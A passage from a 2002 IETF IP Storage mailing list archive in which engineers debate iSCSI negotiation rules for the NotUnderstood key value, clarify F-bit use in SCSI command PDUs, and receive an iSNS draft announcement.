link, which entity is > responsible for distributing traffic among them. > > Chong Peng > > This email message is for the sole use of the intended recipient(s) and may > contain confidential information. Any unauthorized use; review, disclosure > or distribution is prohibited. If you are not the intended recipient, please > contact the sender by return email and destroy all copies of the original > message. > Copyright © 2002 MaXXan Systems, Inc. All rights reserved. From owner-ips@ece.cmu.edu Tue Aug 13 10:14:51 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13145 for ; Tue, 13 Aug 2002 10:14:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DDWYn03555 for ips-outgoing; Tue, 13 Aug 2002 09:32:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cygnus.equallogic.com (cygnus.equallogic.com [65.170.102.10]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g7DDWWo03550 for ; Tue, 13 Aug 2002 09:32:32 -0400 (EDT) Received: from cygnus.equallogic.com (localhost.localdomain [127.0.0.1]) by cygnus.equallogic.com (8.11.6/8.11.6) with ESMTP id g7DDWQe02617 for ; Tue, 13 Aug 2002 09:32:26 -0400 Received: from deneb.dev.equallogic.com (deneb.dev.equallogic.com [172.16.1.99]) by cygnus.equallogic.com (8.11.6/8.11.6) with ESMTP id g7DDWQw02608; Tue, 13 Aug 2002 09:32:26 -0400 Received: from pkoning.dev.equallogic.com.equallogic.com (localhost.localdomain [127.0.0.1]) by deneb.dev.equallogic.com (8.11.6/8.11.6) with SMTP id g7DDWQk04793; Tue, 13 Aug 2002 09:32:26 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15705.2665.876370.919470@pkoning.dev.equallogic.com> Date: Tue, 13 Aug 2002 09:32:25 -0400 From: Paul Koning To: mkrikis@yahoo.com Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations References: <20020813013258.61239.qmail@web13702.mail.yahoo.com> X-Mailer: VM 7.01 under 21.1 (patch 11) "Carlsbad Caverns" XEmacs Lucid Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit >>>>> "Martins" == Martins Krikis writes: Martins> --- Julian Satran wrote: >> I am afraid you have to remember any key received just to avoid a >> rough initiator/target knowingly send noise. You may also want to >> terminate a session with too many "NotUnderstood". Martins> What I don't understand, however, is why I should try to Martins> remember the keys that I don't understand. What can Martins> possibly be gained from this? If the other party is dumb Martins> enough to send me a key that I don't understand twice, I Martins> don't mind noticing the problem only after a timeout or a Martins> negotiation round limit reached. And if the other side is Martins> simply just DoS-ing me, it can do it whether I am Martins> remembering unknown keys or not. Agreed. It is quite unreasonable to require a pile of extra overhead that ONLY does anything if the other side is actively malicious. Robustness in the presence of Byzantine failure was never in the iSCSI requirements, nor as far as I know is it in the requirements of ANY IETF protocol. paul From owner-ips@ece.cmu.edu Tue Aug 13 11:03:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15065 for ; Tue, 13 Aug 2002 11:03:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DET8T07593 for ips-outgoing; Tue, 13 Aug 2002 10:29:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from web20501.mail.yahoo.com (web20501.mail.yahoo.com [216.136.226.136]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g7DCICo29469 for ; Tue, 13 Aug 2002 08:18:12 -0400 (EDT) Message-ID: <20020813121811.13620.qmail@web20501.mail.yahoo.com> Received: from [202.56.254.13] by web20501.mail.yahoo.com via HTTP; Tue, 13 Aug 2002 05:18:11 PDT Date: Tue, 13 Aug 2002 05:18:11 -0700 (PDT) From: "Prashanth.C.A. Shetty" To: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Hello All, As per the draft definition of F-bit explained in the iSCSI SCSI command PDU section..."F-bit should be set to 1 when no unsolicited data follow the command PDU". My interpretation of the above statement is: F-bit in the command PDU is to be set to 1 by the initiator only if solicited data needs to be sent to the Target and should be zero for Unsolicited data transfer. My question: If I need to send only immediate data:..[dataxferlen <= MaxRecvPduLen,InitalR2t=True,ImmediateData=True]....What should be the F-bit set to????. Should it be set to ZERO[because IMMEDIATE DATA ONLY[InitialR2t=True,ImmediateData=True] falls as one of unsolicited data transfer type] or should it be set to ONE[because no unsolicited data follows the command PDU]???? Regards, Prashanth __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From owner-ips@ece.cmu.edu Tue Aug 13 11:05:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15170 for ; Tue, 13 Aug 2002 11:05:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DESkL07564 for ips-outgoing; Tue, 13 Aug 2002 10:28:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DBSCo26989 for ; Tue, 13 Aug 2002 07:28:22 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07496; Tue, 13 Aug 2002 07:26:53 -0400 (EDT) Message-Id: <200208131126.HAA07496@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-isns-12.txt Date: Tue, 13 Aug 2002 07:26:53 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Internet Storage Name Service (iSNS) Author(s) : J. Tseng, K. Gibbons Filename : draft-ietf-ips-isns-12.txt Pages : 89 Date : 12-Aug-02 This document specifies the iSNS protocol, which is used for interaction between iSNS servers and iSNS clients in order to facilitate automated discovery, management, and configuration of iSCSI and Fibre Channel (FCP) devices on a TCP/IP network. iSNS provides intelligent storage discovery and management services comparable to those found in Fibre Channel networks, allowing a commodity IP network to function in a similar capacity as a storage area network. iSNS also facilitates a seamless integration of IP and Fibre Channel networks, due to its ability to emulate Fibre Channel fabric services, and manage both iSCSI and Fibre Channel devices. iSNS thereby provides value in any storage network comprised of iSCSI devices, Fibre Channel devices, or any combination thereof. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-isns-12.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-isns-12.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-isns-12.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020812145737.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-isns-12.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-isns-12.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020812145737.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Tue Aug 13 11:05:21 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15188 for ; Tue, 13 Aug 2002 11:05:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DETDZ07611 for ips-outgoing; Tue, 13 Aug 2002 10:29:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from web20509.mail.yahoo.com (web20509.mail.yahoo.com [216.136.226.144]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g7DCKco29588 for ; Tue, 13 Aug 2002 08:20:38 -0400 (EDT) Message-ID: <20020813122037.51709.qmail@web20509.mail.yahoo.com> Received: from [202.56.254.13] by web20509.mail.yahoo.com via HTTP; Tue, 13 Aug 2002 05:20:37 PDT Date: Tue, 13 Aug 2002 05:20:37 -0700 (PDT) From: "Prashanth.C.A. Shetty" Subject: About F-bit in ISCSI Scsi command PDU To: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Hello All, As per the draft definition of F-bit explained in the iSCSI SCSI command PDU section..."F-bit should be set to 1 when no unsolicited data follow the command PDU". My interpretation of the above statement is: F-bit in the command PDU is to be set to 1 by the initiator only if solicited data needs to be sent to the Target and should be zero for Unsolicited data transfer. My question: If I need to send only immediate data:..[dataxferlen <= MaxRecvPduLen,InitalR2t=True,ImmediateData=True]....What should be the F-bit set to????. Should it be set to ZERO[because IMMEDIATE DATA ONLY[InitialR2t=True,ImmediateData=True] falls as one of unsolicited data transfer type] or should it be set to ONE[because no unsolicited data follows the command PDU]???? Regards, Prashanth __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From owner-ips@ece.cmu.edu Tue Aug 13 13:10:04 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01362 for ; Tue, 13 Aug 2002 13:09:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DGSIu16468 for ips-outgoing; Tue, 13 Aug 2002 12:28:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DGSDo16458; Tue, 13 Aug 2002 12:28:13 -0400 (EDT) Received: from relcos1.cos.agilent.com (relcos1.cos.agilent.com [130.29.152.239]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id C28B51E12; Tue, 13 Aug 2002 10:28:11 -0600 (MDT) Received: from axcsbh3.cos.agilent.com (axcsbh3.cos.agilent.com [130.29.152.190]) by relcos1.cos.agilent.com (Postfix) with SMTP id 41593372; Tue, 13 Aug 2002 10:27:56 -0600 (MDT) Received: from 130.29.152.190 by axcsbh3.cos.agilent.com (InterScan E-Mail VirusWall NT); Tue, 13 Aug 2002 10:28:09 -0600 Received: by axcsbh3.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Tue, 13 Aug 2002 10:28:08 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D8EC107@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Julian_Satran@il.ibm.com, pat_thaler@agilent.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, wrstuden@wasabisystems.com Subject: RE: Problem with use of NotUnderstood in negotiations Date: Tue, 13 Aug 2002 10:28:07 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-8bbaf8da-9d51-410b-9265-cd7f978a12b9" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-8bbaf8da-9d51-410b-9265-cd7f978a12b9 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C242E6.67BF0B40" ------_=_NextPart_001_01C242E6.67BF0B40 Content-Type: text/plain; charset="ISO-8859-1" Julian, Silent data corruption is when errors change the data in a way that is not detectable. It should be a rare event in a well designed system but it does occasionally occur. For iSCSI, silent data corruption would require: Error changes the payload such that the link layer CRC check passes (very low probablility - roughly (BER^3)*2^32) or the error occurs when the payload is not protected by link layer CRC (e.g. soft memory errors while in switch/router memory). AND TCP checksum escape (TCP checksum matches the corrupt data) Once in operational mode, we have the option of using digest to put a further barrier against silent data corruption. We have designed at least some protocol options (digests) for dealing with checksum escape. I think the approach you suggest for dealing with this is appropriate. Shouldn't this condition also be added to the list of errors in 5.10 Negotiation Failures? For the text in 4.2, it isn't clear what the must applies to. One might use: An iSCSI device MAY terminate a negotiation which does not end within a reasonable time or number of exchanges. For 8.3 it looks like MAY and SHOULD should be upper case. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, August 13, 2002 12:03 AM To: pat_thaler@agilent.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu; wrstuden@wasabisystems.com Subject: RE: Problem with use of NotUnderstood in negotiations Pat, I don't know what "silent data corruption is". The protocol is not built for this type of errors. Other than that you observe correctly that we do not mandate the receiver to check for every protocol error. However if it does not it has to implement some other means of protecting itself. None of the things that where suggested as protection are (or should be) mandatory. As for the count/timeout we may want to add to 4.2: A negotiation must end in within a reasonable time and/or number of exchanges. as well as add to 8.3 Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange). Julo pat_thaler@agilent.com Sent by: owner-ips@ece.cmu.edu 08/13/2002 03:35 AM To: Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Julian, Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added. Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login): If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection. The text for operational negotiation is similar except that the actions taken on detection are different. It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected". As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys. If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added. A simpler solution to concerns about the silent data corruption problem Bill identified is either 1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood or 2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably). Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests. However, number 1 would also be acceptable to me. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 10, 2002 9:40 PM To: Bill Studenmund Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, My only intention in the note was to be brief. If you viewed that as rude I am really sorry. I have a lot of mail to reply to and a limited time. As for the crux of the matter - if one of the parties receives a key it has not seen before with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this. However we may want to strengthen the rule in 4 (and add another line of text) as follows: The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values). In the second part of my comment I was just saying that if you failed to implement the above check you still can't enter a loop because the double negotiation rule. To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously. The protocol is not designed to handle either. Julo Bill Studenmund 08/11/2002 06:11 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the "repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill ------_=_NextPart_001_01C242E6.67BF0B40 Content-Type: text/html; charset="ISO-8859-1"

Julian,
 
Silent data corruption is when errors change the data in a way that is not detectable. It should be a rare event in a well designed system but it does occasionally occur. For iSCSI, silent data corruption would require:
 
Error changes the payload such that the link layer CRC check passes (very low probablility - roughly
(BER^3)*2^32) or the error occurs when the payload is not protected by link layer CRC (e.g. soft memory errors while in switch/router memory).
AND
TCP checksum escape (TCP checksum matches the corrupt data)
 
Once in operational mode, we have the option of using digest to put a further barrier against silent data corruption. We have designed at least some protocol options (digests) for dealing with checksum escape.
 
I think the approach you suggest for dealing with this is appropriate.
Shouldn't this condition also be added to the list of errors in 5.10 Negotiation Failures?
 
For the text in 4.2, it isn't clear what the must applies to. One might use:
 
An iSCSI device MAY terminate a negotiation which does not end within a reasonable time or number of exchanges.
 
For 8.3 it looks like MAY and SHOULD should be upper case.
 
Regards,
Pat
 
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Tuesday, August 13, 2002 12:03 AM
To: pat_thaler@agilent.com
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu; wrstuden@wasabisystems.com
Subject: RE: Problem with use of NotUnderstood in negotiations


Pat,

I don't know what "silent data corruption is". The protocol is not built for this type of errors.
Other than that you observe correctly that we do not mandate the receiver to check for every
protocol error. However if it does not it has to implement some other means of protecting itself.
None of the things that where suggested as protection are (or should be) mandatory.
As for the count/timeout we may want to add to 4.2:

A negotiation must end in within a reasonable time and/or number of exchanges.

as well as add to 8.3

Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange).

Julo



pat_thaler@agilent.com
Sent by: owner-ips@ece.cmu.edu

08/13/2002 03:35 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com
        cc:        ips@ece.cmu.edu
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


Julian,
 
Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added.
 
Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login):

If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection.

The text for operational negotiation is similar except that the actions taken on detection are different.
 
It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected".
 
As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys.
 
If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all
received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added.
 
A simpler solution to concerns about the silent data corruption problem Bill identified is either
 
1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood
 
or
 
2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably).
 
Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests.
 
However, number 1 would also be acceptable to me.
 
Regards,
Pat
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 10, 2002 9:40 PM
To: Bill Studenmund
Cc: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations


Bill,

My only intention in the note was to be brief.  If you viewed that as rude I am really sorry.
I have a lot of mail to reply to and a limited time.

As for the crux of the matter - if one of the parties receives a key it has not seen before
with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this.
However we may want to strengthen the rule in 4 (and add another line of text) as follows:

The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values).

In the second part of my comment I was just saying that if you  failed to implement the above check you still can't enter a loop
because the double negotiation rule.

To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously.
The protocol is not designed to handle either.

Julo

Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 06:11 AM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        <ips@ece.cmu.edu>
       Subject:        RE: Problem with use of NotUnderstood in negotiations

     



On Sat, 10 Aug 2002, Julian Satran wrote:

> Bill,
>
> Perhaps the text is unabiguos but you just ignored the text that forbids
> it.

Julian,

I must say that the tone above is very unbecoming of the author of a
protocol spec. In the past, I've often gotten snippy comments from you,
but written them off to, well, I'm not sure what. But it seems that you
really don't listen to what I say. You read a message, make an
interpretation, do not question that interpretation, and then you run with
it. That's really bad. Besides being quite rude and exceedingly arrogant,
you'll miss things. And the iSCSI spec will suffer for it. Do you think
whatever is going on between us worth more than a bad iSCSI spec? I don't.

Also, if you're going to say that the text is unambiguous, please quote
said text. That makes the discussion much clearer.

> The use of Notunderstood is limited to responses. Using it as you suggest
> is a protocol error.

Julian, I have to ask, what exactly do you think I'm suggesting? From
parsing your sentence, I read that you are telling me that I'm suggesting
using NotUnderstood outside its limited scope, of responses.

As I understand the situation I described, both parties think they are
using NotUnderstood as a response. How is using it as a response outside
its use as a response?

> A repeated use will also violate the "no renegotiation rule".

Please be VERY VERY VERY careful when saying that. Have you thought about
what the statement you just made will imply?

We are (or at least I started) talking about the case where one side
THOUGHT it sent key X, but somehow it was key Y that made it to the other
side. Be it a bug in the code on one side or the other, a PCI bus error in
transfer, a router glitch, or what. Key Y doesn't exist in the spec, and
it's in the negotiation stream. OGMarker or DataPDPInOrder would be
examples.

The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't
understand. Reading the spec, it succinctly states if you get a key you
don't understand, you MUST reply "NotUnderstood".

Getting back to the "repeated use is a protocol violation," how is each
side supposed to realize that they are seeing "OGMarker=NotUnderstood" for
the second time, other than by remembering that it saw OGMarker as a
not-understood key. i.e. by in addition to replying, "NotUnderstood", each
side has to remember that it responded NotUnderstood to key foo. That
seems unwise. I can think of at least one DoS attack if that really is
what implementations do.

Getting back to addressing the topic of the thread, what is wrong with
this text, slightly modified from the I proposed in the first message?

***
Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST
be considered a protocol violation.
***

As I said before, my main interest is the spec point out that if for a key
you don't understand you get the value "NotUnderstood" (i.e. the other
side is telling you it didn't understand a key that it turns out you also
don't understand), you don't just answer "NotUnderstood". Either
saying nothing, or considering it a protocol violation (since if we both
didn't understand the key it should have never gotten into the
negotiations) are both fine options. I now favor protocol violation as if
neither side understood the key, it should not be there. If it's there,
something is wrong.

Take care,

Bill




------_=_NextPart_001_01C242E6.67BF0B40-- ------=_NextPartTM-000-8bbaf8da-9d51-410b-9265-cd7f978a12b9-- From owner-ips@ece.cmu.edu Tue Aug 13 13:10:27 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01474 for ; Tue, 13 Aug 2002 13:10:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DGwbZ18611 for ips-outgoing; Tue, 13 Aug 2002 12:58:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DGwWo18590 for ; Tue, 13 Aug 2002 12:58:32 -0400 (EDT) Received: from relcos2.cos.agilent.com (relcos2.cos.agilent.com [130.29.152.237]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 331C6D52D; Tue, 13 Aug 2002 10:58:31 -0600 (MDT) Received: from axcsbh4.cos.agilent.com (axcsbh4.cos.agilent.com [130.29.152.145]) by relcos2.cos.agilent.com (Postfix) with SMTP id 4DFB536B; Tue, 13 Aug 2002 10:57:57 -0600 (MDT) Received: from 130.29.152.145 by axcsbh4.cos.agilent.com (InterScan E-Mail VirusWall NT); Tue, 13 Aug 2002 10:58:02 -0600 Received: by axcsbh4.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Tue, 13 Aug 2002 10:58:02 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D8EC11C@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: prashanth_ca@yahoo.com, ips@ece.cmu.edu Subject: RE: About F-bit in ISCSI Scsi command PDU Date: Tue, 13 Aug 2002 10:58:01 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Prashanth, The iSCSI text is clear. If one is sending only unsolicited immediate data, no unsolicited data follows the command PDU. There is unsolicited data in the command PDU, but none that follows it. Therefore, the F bit is set to 1. This lets the target know that it should send R2Ts for any further data. Note that this situation can happen even if InitialR2t=False. InitialR2t=False allows the initiator to send unsolicited data PDUs, but the initiator has the choice of whether to do so on each command. The F bit lets the target know what the initiator has decided to do. Pat -----Original Message----- From: Prashanth.C.A. Shetty [mailto:prashanth_ca@yahoo.com] Sent: Tuesday, August 13, 2002 5:21 AM To: ips@ece.cmu.edu Subject: About F-bit in ISCSI Scsi command PDU Hello All, As per the draft definition of F-bit explained in the iSCSI SCSI command PDU section..."F-bit should be set to 1 when no unsolicited data follow the command PDU". My interpretation of the above statement is: F-bit in the command PDU is to be set to 1 by the initiator only if solicited data 